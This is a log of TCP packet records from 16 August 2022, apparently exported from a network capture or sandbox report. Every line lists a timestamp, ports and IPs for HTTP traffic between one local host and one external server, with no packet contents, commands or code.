Aug 16, 2022 11:49:47.857095957 CEST	49186	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.857121944 CEST	49186	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.859112978 CEST	49186	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.914370060 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:48.051199913 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:48.051386118 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:48.051490068 CEST	80	49185	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:48.052737951 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:48.073694944 CEST	80	49186	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:48.143918991 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:48.144100904 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:48.144742966 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:48.272742987 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:48.375648975 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.191515923 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.191549063 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.191565990 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.191579103 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.191591978 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.191605091 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.191622019 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.191651106 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.191737890 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.191775084 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.199470997 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.199506998 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.199656963 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.268325090 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.268382072 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.268402100 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.268418074 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.268562078 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.270791054 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.270848989 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.270881891 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.270903111 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.270921946 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.270952940 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.270972967 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.276160002 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.276211023 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.276365995 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.407685041 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.407737017 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.407764912 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.407809973 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.407824039 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.407834053 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.407854080 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.407855034 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.407860041 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.407867908 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.407881021 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.407892942 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.407902002 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.407915115 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.407924891 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.407936096 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.407949924 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.407958031 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.407979965 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.408035040 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.408078909 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.408103943 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.408145905 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.408164024 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.408168077 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.408169031 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.408195972 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.408206940 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.497416019 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.497456074 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.497479916 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.497504950 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.497526884 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.497544050 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.497548103 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.497580051 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.497585058 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.497587919 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.500065088 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.500112057 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.500133991 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.500155926 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.500178099 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.500200987 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.500224113 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.500246048 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.500263929 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:49.501236916 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.501272917 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.501276970 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.501281023 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:49.501283884 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.004276037 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.004312992 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.004359007 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.004453897 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.006717920 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.007133961 CEST	49190	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.223494053 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.223584890 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.233550072 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.233618021 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.236824989 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.236886978 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.237452984 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.240938902 CEST	80	49190	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.244920015 CEST	49190	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.244967937 CEST	49190	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.468766928 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.474744081 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.474777937 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.474802017 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.474822998 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.474844933 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.474868059 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.474879980 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.474889994 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.474906921 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.474912882 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.474917889 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.474925041 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.474945068 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.474952936 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.474970102 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.474976063 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.475002050 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.478858948 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.488204002 CEST	80	49190	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.488562107 CEST	80	49190	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.488578081 CEST	80	49190	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.488938093 CEST	49190	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.488965988 CEST	49190	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.492882967 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.492963076 CEST	49190	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.708761930 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.708797932 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.708821058 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.708844900 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.708868027 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.708890915 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.708901882 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.708916903 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.708931923 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.708937883 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.708941936 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.708942890 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.708946943 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.708970070 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.708983898 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.708996058 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.709009886 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.709019899 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.709033966 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.709048986 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.709058046 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.709073067 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.709086895 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.709096909 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.709108114 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.709121943 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.709131956 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.709146023 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.709156990 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.709171057 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.709187031 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.709194899 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.709204912 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.709218979 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.709229946 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.709243059 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.709253073 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.709275961 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.728632927 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.728713989 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.729255915 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.731628895 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.736294985 CEST	80	49190	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.940867901 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.940907001 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.940931082 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.940956116 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.940980911 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941004038 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941026926 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941050053 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.941051960 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941077948 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941078901 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.941082954 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.941099882 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.941102028 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941114902 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.941138029 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941143990 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.941163063 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941171885 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.941195965 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.941271067 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941296101 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941308975 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.941322088 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941333055 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.941345930 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941356897 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.941370964 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941392899 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.941395044 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941402912 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.941421032 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941426992 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.941447973 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941457033 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.941472054 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941483021 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.941498995 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941509962 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.941524982 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941548109 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941567898 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941586018 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941608906 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941610098 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.941621065 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.941648006 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.941652060 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941678047 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941684008 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.941703081 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941709995 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.941725969 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.941735983 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.941761017 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.947081089 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.948671103 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.949991941 CEST	49192	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.968677998 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.976986885 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.977026939 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.977072954 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.977111101 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.977216959 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.977236032 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:51.977252960 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.977271080 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.979228020 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:51.986632109 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.178205967 CEST	80	49192	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.178283930 CEST	49192	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.180706024 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.202824116 CEST	49192	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.216701031 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.220829964 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.220899105 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.270246029 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.430953979 CEST	80	49192	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.436490059 CEST	80	49192	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.436532974 CEST	80	49192	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.436559916 CEST	80	49192	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.436573982 CEST	49192	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.436588049 CEST	80	49192	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.436605930 CEST	49192	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.436609983 CEST	49192	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.436613083 CEST	49192	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.436614990 CEST	80	49192	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.436634064 CEST	80	49192	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.436645985 CEST	49192	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.436651945 CEST	80	49192	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.436659098 CEST	49192	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.436683893 CEST	49192	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.465060949 CEST	49192	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.466607094 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.504865885 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.504914045 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.504936934 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.504960060 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.505007029 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.505014896 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.505040884 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.505044937 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.505059004 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.505079031 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.505115032 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.505153894 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.505157948 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.505197048 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.505213976 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.505249977 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.505295038 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.505295038 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.505321980 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.505347967 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.572938919 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.690937996 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.691006899 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.693046093 CEST	80	49192	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.707869053 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.744832039 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.744868994 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.744895935 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.744925022 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.744925976 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.744951010 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.744966030 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.744971991 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.744976044 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.744977951 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.744987965 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.745006084 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.745026112 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.745029926 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.745038033 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.745054960 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.745069027 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.745075941 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.745090961 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.745119095 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.745156050 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.745173931 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.745197058 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.745203972 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.745212078 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.745219946 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.745238066 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.745263100 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.745302916 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.745327950 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.745342016 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.745352983 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.745366096 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.745379925 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.745394945 CEST	49193	80	192.168.2.22	187.45.240.69
